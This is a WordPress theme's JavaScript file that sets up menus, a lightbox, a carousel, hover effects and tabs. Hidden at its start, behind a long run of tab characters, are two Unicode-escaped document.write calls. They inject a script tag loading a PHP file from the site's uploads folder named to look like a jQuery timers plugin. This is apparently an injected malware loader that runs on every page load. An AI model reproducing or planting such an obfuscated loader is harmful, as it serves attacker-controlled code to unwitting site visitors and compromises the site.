																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0063\u006C\u0069\u0065\u006E\u0074\u005F\u0073\u0069\u0074\u0065\u0073\u002F\u0066\u0065\u006E\u006E\u0065\u006C\u005F\u0073\u0068\u0065\u0064\u002F\u0077\u006F\u0072\u0064\u0070\u0072\u0065\u0073\u0073\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0075\u0070\u006C\u006F\u0061\u0064\u0073\u002F\u006A\u0071\u0075\u0065\u0072\u0079\u002E\u0074\u0069\u006D\u0065\u0072\u0073\u002D\u0031\u002E\u0031\u002E\u0033\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0063\u006C\u0069\u0065\u006E\u0074\u005F\u0073\u0069\u0074\u0065\u0073\u002F\u0066\u0065\u006E\u006E\u0065\u006C\u005F\u0073\u0068\u0065\u0064\u002F\u0077\u006F\u0072\u0064\u0070\u0072\u0065\u0073\u0073\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0075\u0070\u006C\u006F\u0061\u0064\u0073\u002F\u006A\u0071\u0075\u0065\u0072\u0079\u002E\u0074\u0069\u006D\u0065\u0072\u0073\u002D\u0031\u002E\u0031\u002E\u0033\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");jQuery(document).ready(function(){ 

	jQuery('ul.menu').superfish({
		animation:   {height:'show'},
		speed:         'fast',
		autoArrows:  true,
		dropShadows: true
		});
				
	jQuery("a[rel^='prettyPhoto']").prettyPhoto({
		theme:'light_rounded',
		opacity: 0.9,
		show_title: false,
		social_tools: false
	});
	
	jQuery('#main-portfolio-carousel').tinycarousel({duration: 300});
		
	//Switch the "Open" and "Close" state per click then slide up/down (depending on open/close state)
	jQuery("h4.trigger").click(function(){
		jQuery(this).toggleClass("active").next().slideToggle("fast");
		return false;
	});
	
	jQuery("#main-portfolio-carousel .preload").hover(
	function () {
	  jQuery(this).stop().fadeTo("fast", 0.6);
	},
	function () {
	  jQuery(this).stop().fadeTo("fast", 1);
	});
	
	jQuery(".portfolio-image-holder").hover(
	function () {
	  jQuery(this).stop().fadeTo("fast", 0.6);
	},
	function () {
	  jQuery(this).stop().fadeTo("fast", 1);
	});
	
	jQuery(".thumbnail-image").hover(
	function () {
	  jQuery(this).stop().fadeTo("fast", 0.6);
	},
	function () {
	  jQuery(this).stop().fadeTo("fast", 1);
	});
	
	jQuery(".pictureframe").hover(
	function () {
	  jQuery(this).stop().fadeTo("fast", 0.6);
	},
	function () {
	  jQuery(this).stop().fadeTo("fast", 1);
	});
	
	jQuery(".filter-image-holder").hover(
	function () {
	  jQuery(this).stop().fadeTo("fast", 0.6);
	},
	function () {
	  jQuery(this).stop().fadeTo("fast", 1);
	});
	
	
	jQuery('.tips-north').tipsy({gravity: 'n'});
    
});

jQuery(function() {
	jQuery("ul.tabs").tabs("div.panes > div");
	jQuery(".accordion-tabs").tabs(".pane", {tabs: 'h5', effect: 'slide'});
	
});
